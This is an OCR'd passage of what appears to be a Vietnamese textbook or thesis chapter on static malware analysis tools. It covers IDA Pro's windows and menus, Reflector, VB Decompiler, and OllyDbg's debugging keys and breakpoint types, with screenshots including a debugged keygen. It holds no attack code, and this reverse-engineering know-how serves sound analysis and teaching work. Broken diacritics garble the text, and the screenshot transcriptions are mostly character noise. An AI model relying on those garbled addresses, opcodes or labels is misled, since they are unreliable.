| =5 ID.-'l'-."-.-"iew-.-'l'-.I =3 Hex "-.-"iew-.-'l'-.I =3 ﬂ Structuresl =3 |En Enums|m Imnports |_
Addreszs Ordinal  Mame Library
M n0450118 DeleteCriticalS ection kermel32
s 00450110 LeaveCriticals ection kemel32
s 00450120 EnterCritical’ ection kemel3z2
B 00450124 InitislizeCriticalS ection kemel32
B 00450128 VirtualFree kemel32
B 00450120 Yirtualalloc kemnel32
EEm 004501 30 LocalFres kemel32

Hinh 4-13: Cira s6 Import
Export window 1a cira so liét ké cac entrypoint cua tap tin. Trong cira sO
nay gom c6 liét ké theo tén, dia chi 4o va thir tu( néu c6). Di voi cac file
thue thi export window can phai chira it nhat mot entry point day 1a dia

chi diém dau vao dau tién trong lc thyc thi.
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Cross-references ctra s6 hién thi tat ca cac tham chiéu , la tat ca cac
diém code noi ma ham dugc goi. P& md duoc clra s6 nay ta chi nhan vao
header cua ham, kich chudt phai chon jump to reference xref hodac chon

trén thanh cong cu view-> Open subview-> cross reference.

-
|4l =refs to sub_440410

. N - sl o |

Direction T.

Address

sub_44056C+38
CODE:O0428E8D

Text

call  sub 440410
dd offset zub_440410

e L

|
| [
Linel of 2

ok | | cameel | | Hep | [ Seach |

Hinh 4-14: Ctra sb6 tham chiéu Cross- references

Name Window 14 cira s6 cung cap danh sach céc tén duoc st dung, tén
c6 thé duoc sap xép theo bang chir cai hodc dé virtual address. Hién thi
tén co cac chir cai in hoa khac nhau A( string data), D( data), C( Name
code), I( import name), L (library fuction), F( regular function). Bang
Viéc nhép dap chuot vao tén bat ki ta mudn tim, chuong trinh s¢€ chuyén
dén vi tri d6 trong cira s6 chinh hién thi dé lam viéc. Chon view-> option
subview-> name.

Function-Calls ctra s6 thé hién duoc 2 chirc nang caller va called
function. Xac dinh duogc cac ham duoc goi xung quanh do 1a gi. View->
option subview-> function call.

k) Function calls: sub_MEdEBm =R

Address Caller In=struction
CODE:00424F 9, sub_424F84 call sub_4434E8
CODE:N0445910B sub_4430F0 call sub_4434E8 I

Address

CODE:004434FC
CODE: 00443518
CODE:N0443523

Called function

call =ub_4033E4
call sub_440139C
call sub_413EF0

Hinh 4-15: Ctra s6 Function calls

Con rat nhiéu nhiing cira s6 khac véi cac chirc nang khac nita, nhiing
ctra sO giGi thiéu bén trén 13 nhing cira sé quan trong nhat trong viéc 1am
viéc vai cong cu IDA pro.

Menu Jump
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file Edt | Jump Search View Debugger Options Windows Help

dH b Jumpto operand fnter i vl |4l =@
|1 umpinanewwindow  Akefnter | —— g -
Y&, Jump to previous position Esc RN BT ’ YR (D0

BoEn o umptonetpostion  Cubbnter [+ SH KM~ f ¢ k% Wh RAVAR
# | Empty navigation stack

‘ Jump to pseudocode Tab

Jump to address.. 6 ‘ : :
owh | 571 Setaes [ [E71En Erns 57188 Inots [ Funcons wodon

& Jump by name... Ctrlel

Jump to function.., Ctlep POV 9:*. F:"‘“‘"]c]
v edx, [ebpevar_
Jump to segment... Ctrle§ v si, OFFBON
Jumptoseqment register.. (G pall  sub 403204
Jump to problem.. Ctl+Q tap  [ebpevar_10], 0
Jumpto cross reference..  ClrleX short loc_WAA4AS
or edx, edx
Jump to cross reference from..,  Ctrle) v eax, [ebpruar 10)
Jump to xref to operand.. X tall  sub_WhOFAC
Jump to entry point. (st push @
file ofset. v eax, [ebpruar 8)
Jump to file offset. v e, [eaxeii]
Mark position.. Altsh KOF ecx, ?c: l
o A v eax, [ebprvar 10
Jump to marked position..  CtrleM Al sub WA1DSH
Clear mark..
- i : + CODE XREF: sub_NNAJEB+8HT |
CODE : DONUANAS ; Sub_WIASER+OFT]
" CODE : 0044AUAS inc  [ebpevar 1C)

Hinh4-16: Menu Jump

Jump to address(G) nhiéu luc ta s& biét dugc dia chi chinh xac ma ta
mudn dén dé thuan tién cho viéc nay IDA ciing tao ra 1 ctra s6 dé nhap
vao dia chi muén jump.

Jump to entrey point( ctrl-E) hién 1én vi tri cac entry point ban dau chi
can nhép vao s& dua ta dén vj tri lam viéc ban dau cta no.

St dung forward/ backward arrows bang cach st dung nat jump trén
thanh cong cu chon jump to previous( Esc) hodc jump to next( ctrl-enter),

hoac st dung ntt trén man hinh lam viéc.

Menu Search véi céac tuy chon tim kiém:
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DA - C:'aUsers‘l.cuong\Dsktop\nvﬂskconflil:]'b (F.exe)

Edit  Jump View Debugger Options  Windows Help
H @~= next code Alt+C ot o B v
I et Crl:D N
Functicns next explored Crl+A
ction name next unexplored Ctrl+U ment Start
SendActive immediate value... Alt+] 004035EA
sub_403666 lﬁ next immediate value Ctrl+1 00403666
Sendlain a3 00403698
drp  test... A+ T
sub 4036CE i 00403aCE
cub 403700 | nedted Ctrl+ T 00403700
Lsub_403785 sequence of bytes.., Alt+B 00403765
sub_403783 Iﬁ next sequence of bytes Ctrl+B 00403783
sub 4037CF . 004037 CF
sub,_ 403815 not function 00403815
sub 40387F next void Ctrl+V 0040387F
sub_4038EE error operand CtrieF 004038EE
sub 403404 Il void 4 00403404
sub_403AAB all VoIt operands 00403AAB
sub 40335 all error operands 00403C35
cub 40367 o 00403 Ca7
cub 403c6p | ¥  search direction 00403C6R
sub 403C6F et 00403 CaF
sub 403C73 tet 00403C73
HideFile et 00403CC2
cub 4030F3 text 0403nNF3

Hinh 4-17: Menu Search

Next code s& di tim dén vung code tiép theo(ving nay da dugc dinh
nghia, Disasm.

Next data 1a s& di dén ving chira dit liéu tiép theo.

Next explored s€ di dén vung dir liéu tiép theo dugc dinh nghia, su
dung thanh struct.

Next unexplored thi nguoc véi next explored.

Immediate valua s& hién ra cira s6 tim kiém ca gia tri trong céc struct,
data.

Text tim ki€ém cac chudi ¢o ky tu cu thé trong tat ca cac ham, dir ligu.
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ﬂ Teut search (slow!) @

String :E.E ":I -
Parameters Direction

|:| Case sensitive (@ Search Down

[] regular expression () Search Up

[T 1dentifier

Find all occurences

(o) Comar ]

Hinh 4-18: Tim kiém chudi cu thé
Menu View

View Debugger Options Windows Help

— .
j;ﬁ Graphs L4 Hex dump =
‘] Toolbars L4 Pseudocode F5
Ealculatori.. i‘:l&;; gﬁ e ——
s ecent scripts t+ I% Imports
I TR, Print segrment registers Ctrl+Space | M MNames Shift+F4 I
& Print internal flags F -‘EI] Functions Shift+F3 §
1 = Hide Mum - Strings Shift+F12 1
=¥ Segments Shift+F7
== Hide all HE Segment registers Shift+F8
‘ Unhide all '% Selectors
i . -8 Signatures Shift+F5
Setup hidden items ] Type hbrarcs Shift+F11
I ﬂ Structures Shift+ F9
En Enumerations Shift+F10
Wit Local types Shift+F1

Ll Cross references
l'lﬁ_,[ Function calls

Motepad
P
Problems

Hinh 4-19: Menu View
Vé6i open subview 1a md cac cira s view con trén cac tab véi:
DisAssemBly, hexdump, export import ... 1 cac ctra s6 da co san. Co

thé mo thém céc ctra s6 nhu:

PseudoCode 1a ctra s6 chira ma C dugc tai tao lai ctia function hién tai
ctia s6 Disaseembly.

Segmen,SegmenRegister chtra cac thong tin vé& cac segmen, cac thanh
gi doan, cac vung dir ligu.

Signature, Type Lib chtra céc chit ky dé xac dinh cac chuong trinh ding

thu vién gi, xay dung trén ngon ngtr, co s gi.
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Tiép theo s& 1a menu debuger chira cac tiy chon lién quan dén debuger
gin kém theo IDA, nhung ta tam thoi khong xét vi cac debuger nay kha
phtrc tap, ta s& tim hiéu debuger don gian hon 1a OllyDebuger.

Menu Options

Menu nay chtra cac tiy chon vé complier:

Compiler setup L&J
i

Compiler
Uk o Drefault calling convention
@ “izual C++
Borland C++ Unkriown
watcom C++ @ Cdecl
GHU C++ Stdcall
“izual Age C++ FPazcal i
Delphi Fastcall
Thizcall i
emary model Fainter zize
@ Code Mear, Data Mear Unkrown |
Code Far, Data Far E4 bit
Code Mear, Data Far Mear 16bit, Far 32bit ]
Code Far, Data MHear @ Mear 32bit. Far 46hit 'l
Default alignment 8 - ]
zizeof[boal] 1 -
zizeof(int] 4  » Predefined macro:  _cdecl=_ cdecl;_pascal: - :
zizeof[enumm)] 4  » Include directonies /Program Files/Microsoft -
, I
| | ancel elp 1
Ok, C | Hel

—e— =

Hinh 4-20: Ctra s6 tuy chon vé complier

[C

Disasembly cho phu hop véi céc trinh bién dich

Tuy chon string style chon cac kiéu string tiy theo trinh bién dich, kiéu
dir ligu.

Ngoai ra con rat nhiéu céc tuy chon lién quan dén cach dat tén cach
hién thi biéu d, chu thich...

Menu Edit

Chura cac tuy chon:

Code dé dinh nghia mot ving dit liéu bytecode thanh AsmCode.

Data dé dich nghia mot ving dit liéu tir AsmCode thanh cac bytecode.

String s& dinh nghia lai kiéu cia céc string.
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Edit Jump Search View Debugger Options Windows Help

| 1 | ITEHt vJ
Begin selection Alt+L =
Select identifier  Shift+Enter ¥ # BB @ En N i

281 Code x-S UK~ g
E.TE-; Data D {

1 'ﬁ1 Struct var... Alt+Q

1"s" Strings r l__ . _.I
! Array.., Num* B2 |@ IDA Viewa |[E3] Hex Wiew-

1 ¥ Undefine U
t H Rename I

Il Operand type

| Comments

Segments

Structs

! Functions

: Other

:m Universal PE unpacker

E..u.-.u...,... Sample plugin Alt+0

.l:;[;::?l::::lllexm Jurmnp to na‘tfixup- Alt+F12
Hex-Rays Decompiler

oadlconA
lessageBorA COM Helper

IpenClipboard Sample chart builder
iendDIgltemM ezzaged Change the callee address Alt+F11

iendMessagef Universal Unpacker Manual Reconstruct

Hinh 4-21: Menu Edit

Va nhiéu tuy chon khic lién quan dén viéc chinh sua cac

m

* ¥ ¥ v v v

segments,struct, function...

Nhung quan trong nhét 14 Plugin noi chita cic Pluign ma ta cai thém
vao.

Pang cha y nhat 1a Plugin HexRays Decomplier v&i phim tat 13 F5 s&
dich mot doan Assembly thanh mot doan C.

Plugin BinDiff ciing 1a Mot plugin rat quan trong cho phép ta so sanh
¢G sO dir liéu hién tai voi mot co sé dir liéu khac. Chi ra cac function

tuong ty, giéng nhau...

4.1.6 Cong cu Reflector
DPbi v6i nhimg loai duge viét trén nén NET ciing co cac cong cu
Decomplier riéng cho né nhu Reflector, cong cu ndy cho phép ta dé
dang quan sat, tim kiém, bién dich nguoc chuong trinh viét trén
nén NET trg vé ma ngué)n C#, VB, C++, Delphi, IL, F#, Oxygene...
Link download : http://shop.reflector.net/download
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@ NETRelecor 73018 — . 0o )

File Edit View Tools Help

QOIPHR Al ~|lnran <] 4]
& -2 References - —
v e ¥ MyClassFindAllFiles() : Yoid ek
{}-
= {} NETReflectorDemo public void FindAlFies() y
[ MyClass I
€] Base Types this.results, Clear()
(4 Derived Types Directorylnfo CurFolder = new DirectoryInfo(this.folder_path);
¢ ctor( foreach (Filelnfo oFile in CurFolder.GetFiles()
e . {
pume ke if(oFile.Name Containsthiseyword)
4 FileCount : Int32 I
#4 Files : ListFilelnfox this.results Add(oFile);
f‘ FolderPath : String | }
25 KeyWord: Stnng =\ thisresult_count = this.results.Count;
g folder_path : String ]
g keyword : String
o result_count: [nt32
: o results ; List<Filelnfo> i

|

L3

public void FindAllFiles);

Declaring Type: NETReflectorDermo MyClass
Assembly: NETReflectorDemo, Version=1.0.0.0

| LT

Hinh 4-22: Giao dién phan mém Reflector
4.1.7 Cong cu VB Decomplier
Link download http://www.vb-decompiler.org/

Nhu ta di viét cdc chuong trinh trong Visual Basic c6 thé duoc dich
thanh p-code( ma gia) di duoc dich hodc thanh code gdc. Ké tir khi p-
code bao gém nhiéu l1énh cép do cao thi da c6 mot kha nang thuc su dé
dich nguoc né thanh ma ngudn. Vi vdy ta can VB Decomplier mot trinh
dich nguoc cho cac chuong trinh duoc viét trén chuong trinh Visual
Basic( EXE,DLL hodc OCX) dé khéi phuc nhiéu 1énh p-code. Ngoai ra
mdt bd phan tich ma gitip tim kiém tat ca cac chuéng goi chirc ning API
va tham chiéu chudi trong md dugc phan tac va rdi thay ddi ching thanh
cac dién giai cho cac chudi phan tich. N6 13 cong cu can thiét néu nhu

mat ma nguon va can khoéi phuc lai.
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B VB Decompiler v3.2 - Registered to GPcH Soft

File Tools PFlugins Help

Filehlame: ‘D:\P-code'\PiclureUIEWEH.exe

‘ [Z] | Deconpik |

Mokck,
1 B nammiined

S ¥

loc 41215E:

| E[E

Objects Tres: Interface: Comple stack parameters Pracedure analyzer and optimizer
= %Project Frivate Sub Form Load() '412160 :'
=) Forms 'Data Tahle: 402D6C
B, Main loc_411FD&: On Error Goto 0
By Password loc_411FF0: Password. Show ¢H1, war B0
By, Search loc_41200E: war C0 = CVar(Getietting("PictureVIENER","Path”,"C
() UserControls loc_41201F: If CBooliwar C0 <» ") Then '4lZ106 |
g Code loc_412047:  war BO = CVar(CEyte(Val(Citr(var _C0)))) 'Byte
= 7 i loc_41204B:  For war 114 = | To war _BO: var E4 = var 114 'Var
i ; | loc_412089: var_124 = CVar(Getietting("PictureVIEWER","PFat
7 Wil e loc Al2086:  Opem CStr((var_124 + "SHS.Shacks™)) For Binary
§ Picturetfiver]_4110 loc 4120BC:  Get GHL, GHl, var GE
P Load 412160 loc 412002 Close gfl ;
§ Form_Activate_¢1156 loc 4120EC:  TUnknown.Collection. Add var 124, Chrg(Clng(var
F Form KeyPress 413 loc 4120FD:  Next var 114 'Variant
filphablend loc_412103:  GoTo loc 412122
clsASMpic loc 4121061 End If
Mousecrollpi loc 41211D: 3earch. Show ¢Hl, var B0
Pickureviever loc_412122: ' Referenced from: 412103
loc_412l4d; Filel,Path = Citr(Unknowm,Collection, Itemil))

Exit Sub

‘ Decomplled OF

Ngoai cac cong cu da ké trén van con nhiéu loai céng cu khac dé phuc

Hinh 4-23: VB Decomplier

vu cho viéc cho viéc phan tich tinh.

Uu diém phuong phéap phan tich tinh nay cho ta xem duoc code dé
xem ma doc hai lam gi chir khong can phai chay trén ngay hé thng, hiéu
duoc rd nhat ciing nhu biét duoc cac hoat dong chinh xac cia ma doc hai

1a 1am gi. Tuy nhién dé thyc hién dugc phuwong phap nay doi hoi ngudi

phan tich phai hiéu rd vé 1ap trinh va hé thong.
4.1.8 Cong cu Ollydebug
4.1.8.1 Gigi thi¢u chung

Phan mém nay giup ngudi phén tich c6 thé debug, xem qua trinh chay

tung budc cua chuong trinh.

Dowload phan mém tai trang http://www.ollydbg.de/
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4.1.8.2 Cac chirc nang co ban
Dau tién ngudi phan tich load file vao trong ollydbg ta s& dugc giao dién
chuong trinh nhu sau:

@ File View Debug Plugins Options Window Help |T| & ’?
@44 x| »[n] wifs] g4 M =i L[E[M[T]w[H|c][E[B|R[.[5] E[H[?
rs ES 25@28088 | CALL <JHMP.&comot L22. InitCommonContrals | €In itComm i
Leglsters 1
Godn10os|[ . en oo PUSH @ [Qrodule * Regisners IFA) i<
|| odmimer|| . £ inezEcne | CALL CUMP.Skernel32, Gettodu leHandlen> | LGetHodu Tl Egp apisrras
oadpigac|| . A3 1E334@@a | HOU DWORD PTR DS:[46331E1, EAX BT BBBGRRAE
op4pioll|| . &2 CEpooEea | PUSH GCo Rerchane | EAT ARaaoo00
eadaiaic(| . ca PLSH EAX [ Inst
podainir)( . ES c4nemmon | CALL CJIP.tuserS2.Loadloond> Loadlcon | EIF @@4@18@8 keugen.<Modu l=EntruPoint >
ep4a1021(| | 62 E9vFooan | PUSH PFa9 ’ ' ReroMame| |§ 9 EF D825 Z2biv GFFRFFFFF)
Boaninzs||  ER Anoceeen |FACL Cune.t [hInSt re |B @ =% 9ozz sEoir AIFFFFFRRR)
. < EuserSZ2. LoadCursorf> LoadCurs ? 1 DS @823 Zzbit ALFFFFFFFF]
aa4a1620|| . A3 2e334@ma | HOU DWORD PTR OS: (4833261, EAX S B Fo ARSE S5t SEFOFGRRsBEE)
oa4p1632(| . &R Ba PUSH & WParam = |§ & G2 Gaoe ML
oadaiadd|| . 62 4Fi@emaa | PUSH keygen.@04@184F Olafrac | |g g
|- & S i 2. hQuner s |0 ® LastEcr ERROR_SRS_KEY_NOT_FOUND (BO8036E7)
0a4p1630(| . FFa5 1E334006| PUSH DWORD PTR DS:[4B331E] hInst = | EFL 88888246 (MO,MNE,E,BE,NS,PE,GE,LE)
Ba481843|] . ES 74820088 CALL <JMP.%user32.0ialogBoxParanAs DialogBe 5TE enpty @.@
aadaigaz(| . A oa FLISH & EwitCods |21y Z0Eth Al
oadainda|L. Es crezeean | CALL <JMP.skernel32.ExitProcess) ExitPrac |32 omotn 66
GE4a184F (P, S5 PUSH_EEP 275 Empia o.@
aadaiaca(| . SBEC rol EEF, ESP 273 empin ooa
eada16Sz|| . 5170 @C_1e@iél CHP OWORD PTR S5:[EBP+CI,11@ ITE Sheth BlA
aa4al 653 | LvEFES SaRBRAEE| JHZ keyaen.oB4alEER STE Eheth Bla
oa4p165F (| . 62 91810888 | PUSH 191 Cantrall | Zr% ZNEEY G0
aadaiaca(| . FF75 a3 PUSH CUORD PTR SS: [EEP+3] [thlnd Moo ESPUDZDI
el o e | n g oo eibinls ey oo oo BB08 e BRREEEES
. EYTEN. ewlialue
oasatasill: 25 FE A Tewialue  IFCW B2PF Prec MEAR,EZ3 Mask 111111
aadaiazs(| . ca PLSH EAX Rl d
aadaicral| . ES sroze@me | CALL CJMP.tuser32.Setllindowlonohx Sethlindc
aadnices|| . A3 ZA334@aa | HOU DWORD PTR OS:C46332A1, EAX
oa4p167E(| . FFa5 22334008| PUSH DWORD PTR DS:[4B3322) IParam = 2
aadaiged|| - en a1 |FUSH 1 1 rﬁPar‘am I~
U _c2 cocccona | o
BE4E1 22A=< JMP. &oomct 132, In itCommonControls?
kegaen. <ModuleEntryPoint >
Address [Hen dump ASCIT » | BE1ZFF 34 raalaFFDS -
DE4BIOCE| 65 6 65 2| 03 65 (2 r3|sversers = e || sk (RSt G moel Bt RS
@A4A3622( 2E 6E 65 7d4|@A B0 BA B0|.net.... (W 25:5FE 35| Fereaas
GE4A3E96( 54 63 61 G6E| 6B 73 3A 28| Thanks: | | ekt
AA4A3655| 43 61 6E 74|65 72 77 6F|Canterwo aiorrral | Bacaaena
BA4A3E06 6F &4 2C 20| 6C 64 €F 6F|od, ldoo 4 e | | Ehi 3
BE4A3EA2| €7 73 @A 80|47 72 £S5 65| ay..Gree ehbeae | | Ak
GE4A3EEE| 74 63 6E 67|73 3A 28 52|tings: R e | i
0O4036E2( 45 41 2C 20|43 72 €1 &3|EA, Crac aaiorrecl | Baaaanaa 1R
BA4A3ECE €8 60 £5 73| 2E 64 65 BE|kmes.de. e | | BEek o
BA4A3ECE| 45 F2 72 6F|7Z @@ 59 &F|Error.¥o e | | e
BB4R3006| 75 28 €0 75|73 74 20 65[u nust e v | Baiorrcal | ERPErrrEl End of SEH chain -

Analpsing keygen: 4 hewristical procedures, 30 calls to knawn functions | | Pauzed

Hinh 4-24 Giao dién lam viéc Ollydbg

(1) The Dissembler Window: ¢ cira s6 ndy ta nhin thdy cac doan

chuong trinh ¢ dang asm cung véi nhiing 101 giai thich cho cac doan ma
asm.

(2) The Registry Window: day la cira so chira thong tin chi tiét vé cac
thanh ghi ,cac co trang thai.

(3) The Stack Window: hién thi trang thai cua stack, luu dir tam thoi
cac dir liéu va dia chi.

(4) The Dump Window: cura s6 hién thi noi dung cua bd nhd hodac file,
clra s6 nay cho phép ta tim kiém thyc hién cac chtic nang chinh stra. ..

Céc tuy chon véi View

View->log (cira s6 L) cho chung ta biét thong tin ma Olly ghi lai. Theo
mic dinh cira s6 nay s& luu thong tin vé cic module, import libarary

hoic cac Plugins dugc load cung chuong trinh tai thoi diém dau tién khi
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load chwong trinh vao Olly, cing véi ghi lai cac théng tin vé BP. Va 1
chtrc ning nita 1a khi ta muén luu lai thong tin vé file Log ta chi viéc
nhap chudt phai trong cira sd L va chon Log to file

View-> Executable module( ctra s6 E) cira s6 dua ra danh sach nhiing
file c6 kha nang thuc thi dugc chuong trinh str dung nhu file exe, dlls, ...

View->Memory ( cira s6 M) cira s6 ndy cho ta biét théng tin vé bd nhd
dang duoc st dung. Tai cira s6 ndy chung ta c6 thé sir dung tinh ning
search dé tim kiém thong tin vé cac string, cac doan hexa cy thé hay
unicode. .. thém vao d6 cung cdp cho chung ta nhitng kiéu thiét dit BP
khac nhau tai section.

View-> Threads ( ctra s6 T) liét ké cac thread ctia chuong trinh.

View->window( cira s6 W) dé mé ctra s6 Window.

View-> Handles( ctra s6 H) dé mé ctra s6 Handles.

3k OlyDbg - keygen.exe - CPU - main thread, module keine!32] I
IE‘ File Debug Plugins Options Window Help

=

=KUE Log AltsL l=L|E|M|T|W|H|C|!|K|B|R|m|S| |
[FrooEDec| i3]

FPEBEDGD Executable modules Alt+E  ErSdiL.Re lEx itUzerT| ntdl Rt LEx itUzerThread -
PPEREDTS

7PEEEDT4 Memory Alt+M

LIERERTE

PrEAEDTT Heap

PPEREDTS

77BBED7A Threads

e

PPEEEDTE Windows

77EBEDTF +181, 8

ey Hands e

+

e o o

;;gggggfi SEH chain itStringToDynanicl

5 cup [

-

PTEBEDSE gl i F-d]

gD Call stack AleeK  EETE]

PTEBEDSF ) ~Core-Memary-L1-1-

FPEEEDAY Breakpoints Alt+B +181,8

77 oEDan oEDEE

o

TTEEEDEA References ntdll.Rt IFreeln icod ntdl LRt IFreeln icodeString
;e

L CREDES Run trace

PTEBEDER

FPEBEDED Source —47,8

S REncs ; e

e Source files

PTEBEDCE

PTEBEDCE Fil

FPSEEDCTY BE

PTEBEDCE )

TTSEEDCA Text file =
=sacncn)

Hinh 4-25:Menu View
View->CPU( cura ) C) cura s0 dang lam viéc hién tai.
View->Patches( ctra 86 /) ctra sd ndy cho ching ta biét thong tin vé
nhiing gi ma chung ta da edit trong chuong trinh.
View-> Call stack( ctra ) K) hién thi mot danh sach cac 1énh Call ma
chuong trinh ctia chiing ta da thuc hién khi chung ta Run bang F9 va
dung F12 dé tam dirng chuong trinh.
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View-> Breakpoint( ctra s6 B) hién thj tit ca cac BP ma chung ta dat

trong chwong trinh. N6 s& hién thi nhitng BP duoc set bang F2 con dbi

v6i nhimg dang BP khac nhu HWBP va Memory BP s& khong hién th.

View-> References( cira s6 R) hién thi két qua khi thuc hién chirc ning

search trong Olly.

Céc tuy chon dbi voi Debug

F9( Run) khi nhén olly s& tim xem co breakpoint nao duoc set khong,
chuong trinh c¢6 tung ra cac exception gi khong, hay néu chuong trinh ¢
co ché chdng debug thi s& terminate ngay lap tirc.

g OliyDbg - keygen.exe - [CPU - main thread, module Kerre!2)

@File View | Debug | Plugins Options Window Help

EWx®  fn ro D wWH[C[7|E[BR[=]s] =E7]

Fr/BEEDGC| AD -

TTSOEDED| FFLS Pause F12 FirUzeeT{ntdll. Ry LEn itUserTheead o
FrEGECTS| S

TrEEEDTE| 20 Restart Ctrl+F2

SLEREDTT| o Close Alt+F2

Hl 55
??SBED?E gEltEc Step into F7
77eBEDPE[ 51 Step over 8
FF7E Animate into Ctrl+F7

PTPAAEDSE( S8 i +
rrogeDsc) ES 14 ST R EE Sl SLELTE=N]

??gaEngé V$4 24 Execute till return Ctrl+F9

FrogeED?s( FFPS Execute till user code Alt+F9

;;gggggi Eg?EE Open or clear run trace —L1—1—
2 S .

FTSEEDAA( w74 B Trace into Ctrl+F11
[ =

T7BEEDAF| 5@
7TS0ECED| FFLS fiacekhey Ctl+Fl2 i ico]ntdl LLRe IFresUn ioodeString

vTPEEEDES| SE Set condition Cirl+T
9| C9

rreBEDEA( C2 B Close run trace

PPEBEDCL | ~EE D3

??33&383 33 Hardware breakpoints
TrEaEDCE

FTEREDCE| S8 Inspect

FPE8EDCY( 98

Fre|epCs SEFF Call DLL export

7780EDCA| EE
e T
Arguments

Select import libraries

Hinh 4-26: Menu Debug
F12( Pause) tam dung chuong trinh.
Ctrl-F9( Execute till return) cau 1énh s€ dung lai 6 RET
Alt-F9( Execute till user code) khi trong qué trinh phan tich bi lac vao

sdu bén trong trong khi debug thi ta s& dung chirc ning nay dé dua ta vé

vi tri hién tai.

F7( step into) thuc thi trace tung dong 1€nh, trong qua rinh trace gép
1énh Call s& nhay vao bén trong 1énh Call va thyc thi Iénh bén trong Call,
khi ndo gip return s& trd vé chuong trinh chinh.

F8( step over) thuc thi trace tung dong 1énh nhung khac véi F7 1a khi
gap 1énh Call n6 s€¢ khong nhdy vao bén trong truong trinh ma dung lai
ngay & cau 1énh tiép theo duéi 1énh Call.

Tuy chon Plugins
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Plugins-> Ollydump-> dump debugged process dump mdt ving nhd
trong process.

Option-> Debugging Option( Alt-O) theo méac dinh chon auto start
analysis thi chuong trinh khi duoc load vao s& dugc Olly tién hanh phan
tich va dua ra cac comment thich hop. Néu khong chon chtic ning auto
start analysic thi chung ta s€ phai thuc hi¢n manual sau khi chuong trinh
duoc load vao.

Chudt phai vao ctra s6 Disassambler c6 céc tiy chon dang cht ¥ sau:

Binary->edit thay d6i gia tri trong hex dump

Goto->expression( Ctrl+G) dua ta dén dia chi ta can.

Goto->previous quay trd lai call sau khi chon follow

New origin here( Ctrl+ Gray*) dua chuong trinh dén thuc hién & mot
dia chi khac tai vi tri ma ta chon Crtl+Gray*

Follow( enter) cho phép ta xem cau 1énh trong call ,ma ban than né
khong hé thuc thi bat ki cau 1énh nao cua chuong trinh.

Follow in dump cho ta xem gi4 tri tai vi tri ta chon trong cura ) dump.

Pé tim kiém cac function hay string trong ollydebug:
Vi cac function ta chon search for->all intermodular calls, hay
chon go to-> expression to fllow va nhap tén ham vao bén trong.

Véi tim kiém céc string ta chon search for-> all referenced text string

Tur viée tim kiém cac ham va chudi ta s& dat mot BreakPoint( BP) tai do
nhu moét diém danh dau cho ta thuc hién chuong trinh . Bat BreakPoint
duogc chia ra lam cac loai sau: Common BreakPoint, Memory BreakPoint,
Hardware BreakPoint,Conditional.

Common BP ta dat bﬁng cach tim dén function hodc string roi nhan F2,
hodc dat thong qua command. Olly s& luu dir diém dat BP nay tai cira so
BreakPoint ta c6 thé mé cta sb nay ra dé kiém tra. Viéc dat BP & trén
chi dbi v6i nhitng opcode khong bi thay doi trong subt qua trinh thuc

hién chuong trinh.
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. File View Debug Pluginsg Options Wlndow Help
= R I T I T LIEIMITIWIHICIJ’IKIBIRI Js] E=lE 2]
mmndn aoo rs Eg ggagaaaa CQLL <.J|~1p Boomet 22 TnitCommonoonteo e =L 6 Lo | f 1o Tr- wemz, (FPU £ £
5 || - EE Tozseome ﬁghLDEHEE skex Backup » [EDSH kernelS2. BaseThreadIniehunk
1 - B3 Coooonan pusi c Ty y (L2992 keyaen.<Modu leEntryFoint>
2||: B8 caveoven | AL Cab-tusd Bi , [EF%S
| 5 eeies | puxg'eH] By
o BEE
=B Azcemble Space .
zz|| . E5 ADEzE@@E | CALL <JMP.tuse P 1888 kevgen. <Modu leEntryPoint > I
e bR g8 RO T Lobe - s e
- it
S| - g8 driesane | PUSH keyaen.og . BG5S 5500+ G6(FFEFFEFF)
Hll- BE Comment : BEZ3 3Zhit OiFFFFFEFEY
so|| . FF3S 1EZ34mea PUSH EiloRD PTR
‘g . EE .Bgazama PUSH é.JHP ozl Ereakpoint 3 Toggle F2
14 . . e .
‘E L. EE CTAzZanaa gnléh EEEP ke Hit trace 3 Conditional Shift+F2
4F | [ .
sa|| . 8BEC MO EEP, ESF » iti i
2ol 0 SEEL ac ooier P GwnEs BTR Run trace Conditional log Shift+F4
co|| LBFss dhiz leeygen . @ad Run to selection F1
5 . Eg?gl gl EUEE ?HEED&PTF Mew origin here Ctrl+Gray *
. use
c1: . gg E% 4EEE Eﬂgn ksygen « 8E Go to L4 Memur)f, on access
el e BUSHEE R Follow in Dum » Memory, on write
23| T ER srezoomn | CALL TP tuss p Ty,
7o|| . A2 _2A334PBE_ | MOU DWORD FTR ’
7E|| . FFSE Z2224mmE) FUSH DWORD PTF View call tree Ctrl+ K .
,< 1 Hardware, on execution
Search for 3
Address |Hen dum Find references to v B TTODCDSC| RETURN %o kKerne [52.7TO0ED I
SEIGSC TR R ] view » [ et
4 E
€3 28 €3 7336 dA oF 5F|hd 43 c FPCEITEB| RETURN to ntdLL.PRCESTTE
b 3
63 6B €5 72|73 &3 78 7E|BA 90 4 Rpiiulecuiable JFEEEL 28] |
28 62 72 61|62 EE €5 V2|EF 72 Analysi v
&0 63 61 73|74 2E 6E 65(74 @A § Ll ZEFD:
7H| 74 65 3H 28| 62 74 £4 79[3A 2F 4
EE 7E EE 72|72 EE 72 V2| 2E EE 4
54 63 61 6E| 6B 73 A 28|43 61 Dump debugged process BBERREEEG -
Frogram entry point Pauzed
L L Appearance 3 | | |

Hinh 4-27: Tuy chon dang chu y trong clra s6 Disassembler

Memory BP viéc dat BP nay ap dung cho nhitng opcodes co thé bi thay
d6i va Olly hd trg chiing ta 2 kiéu dat BP nay trén memory 1a Breakpoint
Memory on access va BreakPoint Memory on write. BreakPoint
Memory on access vi¢gc dit BP nay lén mot viung nhd s€ cho phép ta
dimng thuc thi chuwong trinh khi ¢ bat ki su thyc thi nao, doc hay ghi dé
lén vung dit liéu ma ta dat BP. BreakPoint Memory on write dung
chuong trinh thuc thi khi c6 bat ki dit liéu ndo duoc ghi 1én ving nhd ma
dat BP. Viéc dat BP tai memory s€ khong dugc Iuu dir thong tin tai clra
s6 BreakPoint. Olly chi cho dit duy nhat 1 Bp tai memory nén khi dat
Bp thtr 2 vao thi Bp 1 s€ ty dugc remove.

Hardware BreakPoint( HWBP) ta c6 thé dit duoc 4 HWBP nhiéu hon
so vOo1 memory breakpoint tai mot thoi diém chi dat duge BP, khong st
dung ngat INT3 ma st dung ngat INT1. HWBP duoc hd tro truc tiép boi
CPU va str dung mot sb thanh ghi dic biét goi 1a debug registry. Ching
ta sit dung HWBP bdi vi né khong lam thay doi cac doan mad, stack.
Chung ciing khong 1am cham téc d6 thyc hién. Chung ta dit HWBP tai
d6 nhung khong thiy ddu hiéu nao ching to 1a dd dit ca, nén dé kiém tra
